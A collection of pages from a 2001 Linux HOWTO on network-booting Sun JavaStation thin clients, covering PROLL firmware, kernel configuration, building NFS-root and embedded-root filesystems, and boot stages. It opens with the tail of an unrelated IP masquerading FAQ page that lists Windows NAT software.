  • NAT32

    • Windows 95/98/NT compatible

    • http://www.nat32.com

    • Roughly $25 for Win9x and $47 for Win9x and WinNT

  • SyGate

    • http://www.sygate.com

  • Wingate

    • Does proxy

    • Costs roughly $30 for 2-3 IPs

    • http://www.wingate.com

  • Winroute

    • Does NAT

    • http://www.winroute.cz/en/

Lastly, do a web search on "MS Proxy Server", "Wingate", "WinProxy", or goto www.winfiles.com. And definitely DON'T tell anyone that we sent you.

Prev | Home | Next
( EQL ) - I need help with EQL connections and IP Masq | Up | ( Developers ) - I want to help with IP Masquerade development. What can I do?


Background Requirements for Linux on a JavaStation

Linux on the Sun JavaStation NC HOWTO
Prev Next

3. Background Requirements for Linux on a JavaStation

This chapter describes the base hardware and software requirements for enabling Linux on the JavaStation .

3.1. Complete Hardware Requirements

For hardware, you will need one or more JavaStation clients and a server to feed it its Linux image from, all networked on the same net segment.

This server you use can be any server which supports DHCP and TFTP, and RARP. These are the base protocols needed to perform a network boot of the JavaStations. You may also need NFS service as well, but it is not necessary in one type of configuration this HOWTO describes. Also, you can get by without RARP on both the Krups and Espresso models.

This document will describe how to set up serving the network Linux OS image to the JavaStation from a Sun server running SparcLinux. While you do not need a Sun server to serve your Linux image off of, a Sun SparcLinux server is recommended should you wish to compile a kernel of your own, or prototype a new filesystem for your JavaStations to use. Otherwise, you will need to use prepackaged kernels and filesystems somebody else has pre-built and made publicly available for use. (You might also use a cross-compiler to produce the kernel images, but prototyping a filesystem is best done on a Sun SparcLinux server.)

Reports of successful boot servers used include Sun boxes running Sparclinux, Sun boxes running Solaris, and PCs running MS Windows. It is only when you are building a new kernel or filesystem that a Sun box running Linux becomes valuable.

Your network can be a simple 10 Mbps ethernet LAN, but when you begin using more than 50 JavaStations at once, a switched 100 Mbps network becomes desirable for your server to handle multiple concurrent boot requests.

This HOWTO includes pointers to example kernels, filesystems and a complete out-of-the-box solution for you to use, eliminating your need for a Linux/SPARC server, but you still need a server of some type to feed the image to the JavaStations as they boot.

3.2. Network Service Requirements

As discussed in the last section, the JavaStation boot cycle will make use of DHCP and TFTP with possibly NFS and RARP. To understand why, read up on the JavaStation boot sequence in the next section.

3.3. Understand the JavaStation Boot Sequence

The JavaStations follow a typical diskless workstation boot sequence.

When powered on, the JavaStation sends out a broadcast request for its IP. It gets its IP info via RARP or DHCP. With a DHCP response, it gets information about the network it is on and where to go download its boot image from via TFTP.

There are subtle variations in diskless boots from one diskless machine to the next. For instance, BOOTP may sometimes be substituted where DHCP is, and RARP may be eliminated in favor of either of the two. But in general, the sequence is typically the same between the client and the server:

  1. C: "Who am I?"

  2. S: "You are xxx"

  3. C: "Where do I go for my boot image?"

  4. S: "You go here."

  5. C: "Give me my image from here...Please?"

  6. S: "Here's your image."

After the kernel is finished loading, your diskless client typically mounts its root filesystem from the network via NFS. Alternatively, it may load and mount it from a RAMdisk.

The original JavaOS and Hotjava Views environment, when run on a JavaStation, required the setup and maintenance of the core services above, plus also NIS, HTTP, DNS, POP, and NTP servers. If setting up a JavaStation boot server seems like a lot of work, imagine adding these extra services into the mix too.

3.4. Additional Software Requirements: Replacement Firmware (PROLL)

JavaStations came with two different PROMs installed in them. Version 2.30 shipped with the earliest Mr. Coffee models, and was updated by latter versions of the Sun Netra J software environment to 3.11. Krups and Espresso came with 3.x versions of the PROM by default.

It turns out the later 3.x series of PROMs is not conducive to booting Linux upon. Fortunately, a complete PROM replacement called PROLL now exists to get by this limitation.

PROLL becomes the first image your JavaStation grabs by TFTP. It then will load your true kernel image and boot into Linux .

No matter what PROM revision you have, get PROLL. This can make troubleshooting new installs easier.

The current, master version of PROLL is available from: http://people.redhat.com/zaitcev/linux/.

The current version at the time of this writing is "14".

PROLL can also be found mirrored on "VGER ", and also on this HOWTO's distribution site at: http://dubinski-family.org/~jshowto/Files/proll/proll_14.tar.bz2 (HOWTO website mirror - version 14)

3.5. Decide on your Filesystem-type: NFS-Root, or Embedded?

Before you begin, you must decide upon the root-filesystem type you wish to use for your diskless JavaStation. There are two possibilities.

3.5.1. "NFS-Root" Filesystem

In this setup, after the boot kernel is retrieved off the network, the running JavaStation makes an NFS connection for its root filesystem. The root directory "/" is mounted off the network for the duration of the current session.

The "NFS-Root" solution is the recommended way to go for beginners, as it is easier to troubleshoot if there are problems. It also makes it easier to prototype the proper filesystem, as any changes you make on a running system can be propogated for the next boot cycle (so long as you are in read-write mode, of course).

Drawbacks of this type of system is increased network activity as the running JavaStations locate and execute files, plus file organization in large environments.

3.5.2. "Embedded-Root" Filesystem

In this setup, the root filesystem is loaded directly into RAM and accessed from there.

The advantage of this setup is that there is no NFS traffic to worry about, resulting in a clean solution.

The disadvantage of this configuration is that you can no longer do rapid prototyping of your filesystem, as any changes you make to a running system are lost. If you have no "NFS-Root" setup available, you develop an embedded filesystem by making small tweaks and performing reboots to test. Other disadvantages include the requirement of fitting the full filesystem in available RAM; due to a limitation of PROLL, this requirement is much lower on JavaStations than expected. Still, embedded root is the way to go for the cleanest environment.

First time users will want to set up an "NFS-Root" configuration. When you have things stabilized, move to "Embedded-Root" to take use of its advantages.

3.6. Support Sites to Check Out: Zaitcev's Linux Site

One website to keep on reference when you begin thinking about putting Linux on your JavaStation is kernel hacker Pete Zaitcev's website at: http://people.redhat.com/zaitcev/linux/, referenced throughout this document as the "ZLS" site (short for "Zaitcev's Linux Site"). Here you will find the latest version of PROLL and many low-level details about dealing with the JavaStations. Many items on the ZLS have been merged into this document, but not all.

Oct. 2001 update: It is in your best interest to review all the information on Pete's site, in this document, and references pointed to, before diving in and setting up your JavaStation with Linux. Almost all questions people have had in setting up their systems are covered in the materials presented.

Prev | Home | Next
What is a JavaStation? |  | Build Your Kernel


Build A JavaStation-Ready FileSystem

Linux on the Sun JavaStation NC HOWTO
Prev Next

5. Build A JavaStation-Ready FileSystem

This chapter describes how one constructs a filesystem suitable for use on the Linux-running JavaStations .

5.1. Preparing Yourself to Build Your Own Filesystem

Building a filesystem for use with the JavaStations is a time-consuming, but rewarding task for those who undertake it. You will learn more about library dependencies than you ever thought you could, all the time while trying to keep the overall image size as small as possible.

WARNING: This is not an easy task. Creating a lasting filesystem is not for novices. If you seriously consider undertaking this step, prepare to budget a bit of time to get things just right, particularly if you plan to make an embedded-root filesystem which fits in the 8MB limit. You have now been properly warned.

There are two common approaches one can take when rolling a new JavaStation-ready filesystem.

  1. Start with an established distribution's filesystem and whittle down to the core.

  2. Start with an established distribution's "rescue disk" filesystem and add desired functionality.

Which path you take, of course, is entirely up to you. The "rescue disk" build procedure seems to work best though, as more base commands in a rescue disk are statically linked, increasing the starting image size but causing less initial library headaches. Commands included on a rescue disk also happen to be bare-bones, with many extraneous options not compiled in.

Obviously when building a filesystem in the context of the JavaStation, you will be basing off of an existing Linux/SPARC filesystem. The filesystems that come with the RedHat, SuSE or Debian distributions are good starting points.

Warning

In the future, you will also need to make sure you base off a filesystem built with compiled 32-bit mode executables, as a 64-bit userland project is presently in progress for 64-bit SPARC Linux kernels. As of Oct. 2001, this is still a ways away, but it is being mentioned now for the future.

5.2. Contents of the "/etc/fstab" File

The configuration lines placed into "/etc/fstab" depend on whether you will be using the "NFS-Root" or "Embedded-Root" filesystem configuration.

5.2.1. "NFS-Root" Filesystem fstab

Here is an example of an "/etc/fstab" for an "NFS-Root" boot option.

###
#
your.nfs.server:/path/to/filesystem  /  nfs defaults,rsize=8192,wsize=8192 1 1
#
none                    /proc                   proc    defaults        0 0
###

5.2.2. "Embedded-Root" Filesystem fstab

Here is an example of an "/etc/fstab" for an "Embedded-Root" boot option.

###
#
/dev/ram /     ext2  defaults
#
/proc    /proc    proc  defaults
###

5.3. The "Embedded-Root" Image Creation Procedure

Prepping up the "Embedded-Root" boot image requires a number of extra steps. Due to these extra steps, the "NFS-Root" filesystem option is recommended for beginners to Linux on the JavaStation. You might also try the samples pointed to in this document. Should you still wish to build and embedded image on your own, this section outlines the basic instructions.

Creating the "Embedded-Root" boot image is a 5-Step Procedure:

  1. Prototype Your Filesystem

    This whole chapter deals with rolling your own filesystem. In this step, it is assumed you create your own filesystem, perhaps by prototyping one on a working "NFS-Root" filesystem configuration.

    One thing to keep in mind is that unlike your "NFS-Root" filesystem, the "Embedded-Root" filesystem must fit within the confines of your allocated RAMdisk, generally 4-16 MB. Your maximum size is dependant on the setting of the RAMdisk driver.

  2. Create an Empty File for Your FileSystem

    You now need to create a file-based filesystem "container". This is just a file that is the size of your RAMdisk.

    To create this, try the dd command:

dd if=/dev/zero of=./fs_test.img bs=1k count=8000

    Using this example, you now should have an 8 MB file named "fs_test.img". Note: Be sure the count you use matches the RAMdisk size you allocated for in the kernel's RAMdisk driver!

  3. Format your Filesystem "Container"

    Now that you have a "container" for your filesystem, it is time to format it and place a bare filesystem on it.

    In our kernel phase, we added in support for the ext2 filesystem. We'll now format our "container" with this filesystem type.

mkfs.ext2 ./fs_test.img

    Ignore any warnings about the file not being a block device, and proceed anyway. This is an expected warning message.

  4. Mount the Filesystem "Container" and Write to It

    Now that you have your filesystem container, you can mount it and load your prototyped filesystem on it.

    To mount the container, use the kernel loopback device. Make sure your server's kernel has loopback support enabled and issue a:

mount -o loop ./fs_test.img /mnt

    Copy your files to the filesystem, and make sure "/etc/fstab " has the RAMdisk entries as described elsewhere in this document.

    To avoid symbolic links being changed into actual copies of files, use a copy tool like "tar" or "cpio" instead of a "cp".

  5. Unmount and Compress the Root Filesystem

    Unmount the root filesystem you just created.

umount /mnt

    Compress the filesystem file with maximum "gzip" compression levels.

gzip -v9 ./fs_test.img

    You should now have "fs_test.img.gz" file.

  6. Hook the Root-Filesystem Onto the Back of Your Kernel Image

    Now you must append the filesystem image onto your kernel.

    You do this with a utility program called "piggyback". The piggyback program takes care of the task of appending the two and letting the kernel know where both it and the filesystem begins and ends.

    The "piggyback" program is found in your kernel source tree under <LINUXROOT>/arch/sparc/boot. It might also be found on your favorite ftp.kernel.org site.

    For piggyback to work, it needs your AOUT format kernel image, the System.map file from your kernel source root directory, and the compressed root-filesystem you just created.

    We put it all together with a:

piggyback vmlinux.aout System.map fs_test.img.gz

    Be sure to backup your kernel image first, as piggyback used the same "vmlinux.aout" filename for output. Check the filesize of your "vmlinux.aout" file after giving this command and you can verify the filesystem has indeed been appended.

Congratulations! You've created an "Embedded-Root" kernel/filesystem boot image.

5.4. Sample FileSystems

Here are some sample filesystems for you to start with. They have been contributed by various JavaStation users.

Warning: Some of these filesystem images may be considered out of date, and should be avoided in a production environment. It is up to you to decide how much of a liability you feel running them holds. The document author and filesystem contributors cannot be held liable for any damage caused by the use of these files. They are provided with absolutely no warranties.

5.4.1. jsroot_varol_19991221

filesystem (md5sum 450669bc5f3f8a4006fdc75471c0454b): http://dubinski-family.org/~jshowto/Files/filesystems/jsroot_varol/jsroot_varol_19991221.tar.bz2

Description:

This image, created by Varol Kapton <varol@ulakbim.gov.tr>, was based on RedHat 6/SPARC. It has the Xfree 3.3.5 framebuffer server dated 19990823, but only works with Krups. If you are working with a Mr. Coffee unit, you must substitute the other X server discussed later in this HOWTO.

As the network settings included are configured for Varol's network, you must first mount this image, and edit /etc/hosts and /etc/resolv.conf accordingly.

Confirmed OK: YES

Good for Mr. Coffee: YES

Good for Krups: NO

Good for Espresso: NO

5.5. Sample X Servers

One of the most frequently asked questions users have is where to get an X server from. Here are some sample X servers for you to start with. They have been contributed by various JavaStation users.

Warning: Some of these files may be considered out of date, and should be avoided in a production environment. It is up to you to decide how much of a liability you feel running them holds. The document author and filesystem contributors cannot be held liable for any damage caused by the use of these files. They are provided with absolutely no warranties.

5.5.1. XF86_FBDev_3.3.3.1_19990104

X server (md5sum 88b49bbbfa1c36a5049b62b44c54ed81): http://dubinski-family.org/~jshowto/Files/xfree/XF86_FBDev_3.3.3.1_19990104.bz2

XF86Config file (md5sum d9fa291efbd178812b3bd253dffb1893): http://dubinski-family.org/~jshowto/Files/xfree/XF86Config_FBDev_3.3.3.1_19990104.txt

Description:

This is a server for XFree 3.3.3.1 with support for the framebuffers of Mr. Coffee and Krups.

Confirmed OK: YES

Good for Mr. Coffee: YES

Good for Krups: YES

Good for Espresso: NO

5.6. Outside Sample Filesystems

Of course, other filesystems and tools exist outside this document, and have been used by JavaStation users. Here are a few files that were reported on the sparclinux mailing list as having been used.

  1. http://busybox.lineo.com (a single executable which has dozens of common unix tool functions built in)

  2. http://www.ultralinux.org/js (Jim Mintha's filesystems)

Prev | Home | Next
Build Your Kernel |  | "Out of the Box" JavaStation Boot File Solutions


GNU Free Documentation License

Linux on the Sun JavaStation NC HOWTO
Prev Next

A. GNU Free Documentation License

Version 1.1, March 2000

Copyright (C) 2000 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

Prev | Home | Next
Reference Docs |  | Preamble


Linux on the Sun JavaStation NC HOWTO

Robert S. Dubinski

Copyright © 1999, 2000, 2001 by Robert S. Dubinski

2001-Oct-31

This is a HOWTO document describing how to enable the GNU/Linux OS on the Sun JavaStation NC.

Table of Contents
1. META Information
1.1. The Purpose of this Document
1.2. Acknowledgments
1.3. History
1.4. Document Copyright and Licenses
1.5. Location of the Latest Version and Source
1.6. Reporting Bugs Found In or Additions to the HOWTO
1.7. TODO List for this HOWTO
2. What is a JavaStation?
2.1. What is a JavaStation NC?
2.2. Definition of an NC including the Differentiation from PC's
2.3. Description of the JavaStation Model Line including Hardware Specs
2.4. Reasons for Running Linux and NC Myths Dispelled
2.5. Why JavaStations are No Longer Produced
2.6. Where to Purchase a JavaStation
3. Background Requirements for Linux on a JavaStation
3.1. Complete Hardware Requirements
3.2. Network Service Requirements
3.3. Understand the JavaStation Boot Sequence
3.4. Additional Software Requirements: Replacement Firmware (PROLL)
3.5. Decide on your Filesystem-type: NFS-Root, or Embedded?
3.6. Support Sites to Check Out: Zaitcev's Linux Site
4. Build Your Kernel
4.1. Before you begin
4.2. Make sure you use 32-bit mode
4.3. Supported Linux Kernel Versions
4.4. Required Kernel Configuration Options
4.5. Necessary Patch for "Embedded-Root" FS Configurations
4.6. Build the JavaStation-Ready Kernel
4.7. Convert Kernel from ELF to a.out format
4.8. JavaStation-Ready Kernel Images, System.map and .config File Samples
5. Build A JavaStation-Ready FileSystem
5.1. Preparing Yourself to Build Your Own Filesystem
5.2. Contents of the "/etc/fstab" File
5.3. The "Embedded-Root" Image Creation Procedure
5.4. Sample FileSystems
5.5. Sample X Servers
5.6. Outside Sample Filesystems
6. "Out of the Box" JavaStation Boot File Solutions
6.1. Simple Solution #1
7. Set up Your Server
7.1. Preface
7.2. Setting up the RARP service
7.3. Setting up the DHCP service
7.4. Set up NFS service ("NFS-Root Options" Only)
7.5. Setting up for Boot with TFTP
8. Booting Your JavaStation
8.1. What to See When Booting Linux
9. Questions and Troubleshooting
9.1. When booting, the message "The file just loaded does not appear to be executable." Why?
9.2. When booting, the message "no a.out magic" appears and halts the boot. Why?
9.3. I tried booting a Krups but JavaOS comes up. I don't even have JavaOS!
9.4. Cannot Boot an "Embedded-Root" image > 10 MB on my JavaStation. Why?
9.5. After Booting, Typing Anything Yields Garbage Characters. Why?
9.6. In X Sessions to a Solaris server, the font server "xfs" crashes. Why?
9.7. Performing Indirect XDMCP to a Solaris Server Results in Session Login Failures. Why?
9.8. TFTPd config doesn't work on SUSE 6.3. Why?
9.9. Regarding RARP: Is it Needed or Not?
9.10. Can One Use the Smart Card Reader on the Espresso models?
9.11. Can One Use the Solaris DHCP server instead of ISC?
9.12. Can One Pass Arguments to "/sbin/init" in a Diskless Boot like This?
9.13. Enabling X on the JavaStation
9.14. Is There Mailing List Help?
9.15. Can One Boot a JavaStation from Onboard Flash Memory?
9.16. Does "Piggyback" work for the x86 too?
9.17. I put new memory in, but now it doesn't boot. Why?
9.18. Now that JavaStations work with Linux, what about other Free OSs?
9.19. Do the Linux 2.4 kernels work? What's the latest that works?
9.20. Can I compile the kernel on a non-SPARC machine?
9.21. Can I get an ok> prompt like other Sun equipment?
9.22. My keyboard isn't recognized. What can I do?
9.23. Proll reports "TFTP: ARP Timeout". Why?
9.24. Why Can't I Get TrueColor on Krups?
9.25. I followed this HOWTO, but my Dover doesn't work. Why?
9.26. Can framebuffer be loaded following a serial console initialization?
9.27. I really need a complete out-of-the-box solution, pronto!
9.28. You Didn't Answer My Question.
10. Reference Docs
10.1. Mr. Coffee Jumper Info
10.2. Krups Jumper Info
10.3. JavaStation Press Release
10.4. JavaOS 1.0 Download
10.5. Espresso IDE circuit
10.6. JavaStation Boot Monitoring Key Combinations
10.7. JavaStation Photo Gallery
A. GNU Free Documentation License
0. Preamble
1. Applicability and Definitions
2. Verbatim Copying
3. Copying in Quantity
4. Modifications
5. Combining Documents
6. Collections of Documents
7. Aggregation with Independent Works
8. Translation
9. Termination
10. Future Revisions of this License
How to use this License for your documents
Next
META Information


Booting Your JavaStation

Linux on the Sun JavaStation NC HOWTO
Prev Next

8. Booting Your JavaStation

Once you've selected or built your boot files to use, and configured your boot server to serve them, it is time to boot your JavaStation with Linux!

8.1. What to See When Booting Linux

There are multiple stages to the JavaStation boot cycle. What you see on screen can give you clues as to whether things are going well or not. Therefore, it is vital you become familiar with these boot stages, so you can troubleshoot problems rapidly.

8.1.1. Stage 1: White Screen

When you first boot, your JavaStation will start up with a white background screen and black-text PROM banner on top. You will also see a black "exclamation mark in triangle" warning logo. This means the system doesn't yet know who it is, and begins sending RARP/BOOTP requests.

If you do not get this white screen, there is something wrong with your JavaStation. Check all connections, particularly your keyboard, monitor and mouse cords. If the JavaStation does not detect a keyboard or mouse, it thinks it is being booted into a serial console, and will not use the monitor (or keyboard/mouse). In exceptional cases, you may need to reset a jumper if the unit has been set to always boot into the serial console.

8.1.2. Stage 2: Coffee Cup Logo

When contact is made with the DHCP server, the logo goes away and changes to the Java coffee cup logo. The screen is still white background. The logo should be solid, and not blinking. This step lasts a second or two, as the unit should already be contacting the TFTP server and downloading the boot image.

If your coffee logo is blinking, it means there is a problem getting your IP address, usually due to a DHCP leasing problem. Check your DHCP server's logs to see that your JavaStation's mac address is being sent a proper IP address.

If your JavaStation doesn't even get a blinking coffee cup, check both your DHCP and RARP server settings. Also, if running the ISC DHCP server, you may be having a problem with 1514-byte packets and need the patch from the ZLS website.

8.1.3. Stage 3: A Window to PROLL

After the coffee cup logo is solid a few seconds, a white-text on black background window opens. This is the PROLL window. It'll show status of the TFTP download in progress, and when finished will give stats on the size of the file downloaded. The size should match your completed file. When finished, the screen should read 'Booting Linux'. Although, this goes so fast you may not see it.

If you don't see the PROLL window open, confirm your TFTP settings are correct. Also, verify you are pointing to a version of PROLL specific to your JavaStation model. In other words, PROLL for Krups is different from PROLL for Mr. Coffee, and so on.

If, at the bottom of the PROLL window, the system prints the phrase 'obio_range' and hangs for minutes without end, the boot is halted, and you are likely running an old version of PROLL. Verify your PROLL version is the most recent and try again.

8.1.4. Stage 4: Kernel Boot

After PROLL finishes its work, the whole screen should go black. You should see a picture of the Linux logo, Tux the penguin, in the upper left hand of the screen. At this point, messages relating your kernel should be spilling down before you. The color of the text is either white or grey depending on your monitor.

If the screen didn't flip, and you do not see Tux, chances are you are using a kernel compiled with framebuffer support for a different JavaStation model than you are using.

After the message, 'decompressing kernel' appears and the kernel begins spitting out its boot messages, any mistakes from this point are due either to: the filesystem you are using, the filesystem mounting, or missing kernel drivers which should have been compiled in; in other words, your own fault.

Prev | Home | Next
Set up Your Server |  | Questions and Troubleshooting


Build Your Kernel

Linux on the Sun JavaStation NC HOWTO
Prev Next

4. Build Your Kernel

4.1. Before you begin

This chapter assumes you wish to compile your own Linux kernel for the JavaStation. If this is something you can not do, there are sample kernels pointed to at the end of this chapter.

This chapter assumes you already know how to compile Linux kernels in general, perhaps on a PC, a SPARC server running Linux, or any of the other Linux ports. If not, read the Kernel-HOWTO and the README file of your kernel source.

Compiling a kernel for a JavaStation is not much different than compiling a Linux kernel elsewhere. You just need to know the right options to pick. In general, you're compiling for a Sun4M class architecture, and enabling JavaStation-specific options. The following sections in this chapter will take you through the steps.

While it may be possible to compile the JavaStation -enabled kernel on alternate platforms by way of a cross-compiler, this HOWTO assumes you will do it on a Linux/Sparc based server running in 32-bit mode. Cross-compiling will not be covered, and questions regarding it will not be entertained.

4.2. Make sure you use 32-bit mode

When compiling your own JavaStation-capable kernel on a Sun server, you need to make sure the machine you work on is set to 32-bit mode. So, if you're on an Ultra-class machine, be sure to first switch to 32-bit mode before you begin compiling.

To check what mode you're in, do a uname -a. If it says "sparc", you're in 32-bit mode and don't have to do anything. If it reports "sparc64", then you should perform a sparc32 bash first to switch to 32-bit mode. A subsequent uname -a should reflect the change.

4.3. Supported Linux Kernel Versions

The kernel source revision you should use depends both on which model of JavaStation you have, and which series kernel you are using. The current "stable" series of Linux kernels is 2.4.x, but as we will read in a minute, this may not be the best bet to use.

First, a few note on the 2.2.x and 2.3.x series. Mr. Coffee has had kernel support since about kernel version 2.2.5, and definitely works out of the box with the RedHat 6.0+/SPARC distribution kernels. Krups support did not work well out of the box until the latter 2.3.x kernel cycle. Krups support was added in the early 2.3.x sequence, but the MMU changes to the 32-bit SPARC kernel had kept it from compiling cleanly until later on.

Kernels for both Mr. Coffee and Krups compiled cleanly by the HOWTO author with the Mar. 17, 2000 CVS kernel, and are included in the Sample Kernels section.. Krups support was backported into the 2.2.x kernels (where x>15). The latest 2.2.x kernel "should" compile cleanly for the Mr. Coffee and Krups models, but your mileage may vary.

Now onto the 2.4.x series.

The only kernel which has been tested and compiles cleanly for Mr. Coffee and Krups is version 2.4.2. All other versions are broken or require a patch.

The reason for this is that the sparc32 branch of the kernel has not had an active maintainer for many months. Some are contributing fixes, but without an active maintainer things go slow.

There is another reason to be weary of the 2.4.x series. From 2.4.0 through 2.4.9, the VM of the kernel was found to be inadequate under heavy loads, and was subsequently replaced in 2.4.10+. This was a big change for the so-called "stable" series of kernels.

To add further insult to injury, there have been security flaws detected in all of 2.2.x kernel series and up through 2.4.12. This is patched in pre-2.2.20 and 2.4.12+. As of this writing, 2.4.12+ has not been checked by the author as functioning on the JavaStations.

So basically, it has been a crap-shoot over which kernel to choose. Try a few until you find one that suits you best.

If you can not get a kernel to compile, or wish to avoid the headache or trying, you may try the samples pointed to by this document.

4.4. Required Kernel Configuration Options

When you do your make config command to enter the kernel configuration stage, there are a few things you are required to enable. Note that the following option names are from a 2.2.x kernel, and may be slightly different on a 2.4.x series kernel. If in doubt, check the sample files later in the chapter.

For all JavaStations, you want to enable PCI support:

CONFIG_PCI=y

Don't forget your mouse:

CONFIG_BUSMOUSE=y
CONFIG_SUN_MOUSE=y

You'll want video, done with the Linux framebuffer interface:

CONFIG_FB_TCX=y (for Mr. Coffee)
CONFIG_FB_PCI=y
CONFIG_FB_IGA=y (for Krups/Espresso)

Audio is done with the Crystal Audio 4231 chipset:

CONFIG_SPARCAUDIO=y
CONFIG_SPARCAUDIO_CS4231=y

Don't forget your network interface:

CONFIG_SUNLANCE=y (Mr. Coffee)
CONFIG_HAPPYMEAL=y (Krups/Espresso)

You'll no doubt need to support a filesystem:

CONFIG_EXT2_FS=y

You'll want IP autoconfiguration, and RARP/BOOTP support:

CONFIG_IP_PNP=y
CONFIG_IP_PNP_BOOTP=y
CONFIG_IP_PNP_RARP=y

When doing the "NFS-Root" filesystem configuration, you will need both NFS and NFS-Root support:

CONFIG_NFS_FS=y
CONFIG_ROOT_NFS=y

When doing the "Embedded-Root" filesystem, configure both RAM disks and "initial ramdisk" support:

CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_INITRD=y   (for 2.4.x, also configure size of ramdisk)

You can get a working ".config" file which has the required options set later in this chapter.

4.5. Necessary Patch for "Embedded-Root" FS Configurations

If you have decided to go with the "Embedded-Root" filesystem option, you will want to make a patch to the RAMdisk driver source first.

The default size of a RAM disk when using the RAM disk driver is 4 MB. Chances are that you will want an embedded filesystem of more than that size, particularly when you start thinking about running an X server, or including a Java runtime.

You can do this for 2.2.x kernels by a manual edit yourself, or by using the patch pointed to below. The change is a one-line edit in the file <LINUXROOT>/drivers/block/rd.c . Look for a line that says:

int rd_size = 4096; /* Size of the RAM disks */

and change it to the size of the RAMdisk you wish. Typically, most embedded systems are under 16 MB, so a common edit is to change the line to:

int rd_size = 4 * 4096; /* Size of the RAM disks */

If you can not do this, the patch below makes the edit for you.

4MB to 16MB kernel patch file is at: http://dubinski-family.org/~jshowto/Files/patches/ramdisk_patch.txt

Kernels in the 2.4.x series allow you to select the amount of RAM as a configuration option. The patch is no longer needed for those kernels.

It should also be noted in this section that there is currently a limit on the size of Linux boot image for all JavaStation models, due to the implementation of PROLL. This limit is technically 8 MB. This topic is mentioned again in the "Questions and TroubleShooting" section of this document.

4.6. Build the JavaStation-Ready Kernel

To build the kernel, you type make vmlinux. If you come from an x86 Linux background, you might be surprised that you do not perform a make bzImage or make zImage. Do not be alarmed: this command is correct.

When the compile is finished, you will find a file named "vmlinux " in the kernel source root directory. You are almost ready to put this kernel to use.

4.7. Convert Kernel from ELF to a.out format

You need to make one more change to your kernel before it is ready for use. You need to convert it from ELF to AOUT executable format. You can do this with the "elftoaout " utility included in most Linux/SPARC distributions.

To convert your kernel image to the AOUT executable format, you issue the command:

elftoaout -o vmlinux.aout vmlinux

You will probably now want to rename the image file to a longer name which includes the current date and kernel revision you used, so as not to get confused with when you have multiple boot kernel images down the road.

The elftoaout program should come with your SparcLinux distribution. If not, try VGER or your favorite kernel mirror.

4.8. JavaStation-Ready Kernel Images, System.map and .config File Samples

Here are some sample ".config" and JavaStation -ready kernel images. They were prepared and donated to help get you up-to-speed quickly.

Warning: Some of these kernel images are considered out of date, and should be avoided in a production environment. It is up to you to decide how much of a liability you feel running them holds. The document author and kernel contributors cannot be held liable for any damage caused by the use of these kernels. They are provided with absolutely no warranties.

If for some reason you have troubles downloading, try holding left-shift on your browser as you click the link. Kernel images are compressed with bzip2 compression. They must be uncompressed before use. Kernel images are already converted to a.out format.

If you mirror these files, or can verify they work on a machine not yet confirmed, PLEASE email me so I can add your information here.

4.8.1. 2.3.99pre3_embedded_RSD

.config (md5sum c59329ceb2e831f2502c1e410ece141c): http://dubinski-family.org/~jshowto/Files/kernels/2.3.99pre3_embedded_RSD/config__2.3.99pre3_embedded_RSD.txt

kernel (md5sum 8e8d28b13961b92e3f95e4ba98f6f319): http://dubinski-family.org/~jshowto/Files/kernels/2.3.99pre3_embedded_RSD/vmlinux__2.3.99pre3_embedded_RSD.bz2

System.map (md5sum 43205a86fcb0b16ecae7313d38fcbb2c): http://dubinski-family.org/~jshowto/Files/kernels/2.3.99pre3_embedded_RSD/system.map__2.3.99pre3_embedded_RSD.txt

Description:

This kernel is donated by Robert Dubinski. It was used at Marquette University to build an embedded root boot image. This is based off of the Mar. 17, 2000 CVS kernel. It includes support for both Mr. Coffee and Krups machines.

Tested on Mr. Coffee: YES

Tested on Krups: YES

Tested on Espresso: NO

4.8.2. 2.3.99pre3_nfsroot_RSD

.config (md5sum e715370346ac298555dd7ce099c8f80a): http://dubinski-family.org/~jshowto/Files/kernels/2.3.99pre3_nfsroot_RSD/config__2.3.99pre3_nfsroot_RSD.txt

kernel (md5sum fd141e8e8f639df67427d5ecd0ecba76): http://dubinski-family.org/~jshowto/Files/kernels/2.3.99pre3_nfsroot_RSD/vmlinux__2.3.99pre3_nfsroot_RSD.bz2

System.map (md5sum fd141e8e8f639df67427d5ecd0ecba76): http://dubinski-family.org/~jshowto/Files/kernels/2.3.99pre3_nfsroot_RSD/system.map__2.3.99pre3_nfsroot_RSD.txt

Description:

This kernel is donated by Robert Dubinski. It was used at Marquette University to prototype a filesystem. This is based off of the Mar. 17, 2000 CVS kernel. It includes support for both Mr. Coffee and Krups machines.

Tested on Mr. Coffee: YES

Tested on Krups: YES

Tested on Espresso: NO

4.8.3. 2.4.2_embedded_RSD

.config (md5sum dd1a9dd2e92b9b175b7ba747c94edca7): http://dubinski-family.org/~jshowto/Files/kernels/2.4.2_embedded_RSD/config__2.4.2_embedded_RSD.txt

kernel (md5sum 5a1592b7e0a37909ae16374296a7070e): http://dubinski-family.org/~jshowto/Files/kernels/2.4.2_embedded_RSD/vmlinux__2.4.2_embedded_RSD.bz2

System.map (md5sum 1de202e0fab7a9e661bebc80255605b7): http://dubinski-family.org/~jshowto/Files/kernels/2.4.2_embedded_RSD/system.map__2.4.2_embedded_RSD.txt

Description:

This kernel is donated by Robert Dubinski. It is a demonstration kernel for the 2.4.x series, and has not been tested...yet. It includes support for both Mr. Coffee and Krups machines.

Tested on Mr. Coffee: NO

Tested on Krups: NO

Tested on Espresso: NO

4.8.4. 2.4.2_nfsroot_RSD

.config (md5sum cabd1d98613ad169b372666b7eaa869b): http://dubinski-family.org/~jshowto/Files/kernels/2.4.2_nfsroot_RSD/config__2.4.2_nfsroot_RSD.txt

kernel (md5sum c24f42f72c58920c00ac7ff7aaffadde): http://dubinski-family.org/~jshowto/Files/kernels/2.4.2_nfsroot_RSD/vmlinux__2.4.2_nfsroot_RSD.bz2

System.map (md5sum 6af2b374c7d3fc3f97d48ab71b335062): http://dubinski-family.org/~jshowto/Files/kernels/2.4.2_nfsroot_RSD/system.map__2.4.2_nfsroot_RSD.txt

Description:

This kernel is donated by Robert Dubinski. It is a demonstration kernel for the 2.4.x series, and has not been tested...yet. It includes support for both Mr. Coffee and Krups machines.

Tested on Mr. Coffee: NO

Tested on Krups: NO

Tested on Espresso: NO

4.8.5. Outside kernel mirrors

Other sites mirror the kernels here or other kernel samples. Here are a few known sites as of Oct-31-2001:

  1. ftp://atari-source.com/pub/javastation/

  2. http://people.redhat.com/pjones/krups

Prev | Home | Next
Background Requirements for Linux on a JavaStation |  | Build A JavaStation-Ready FileSystem


META Information

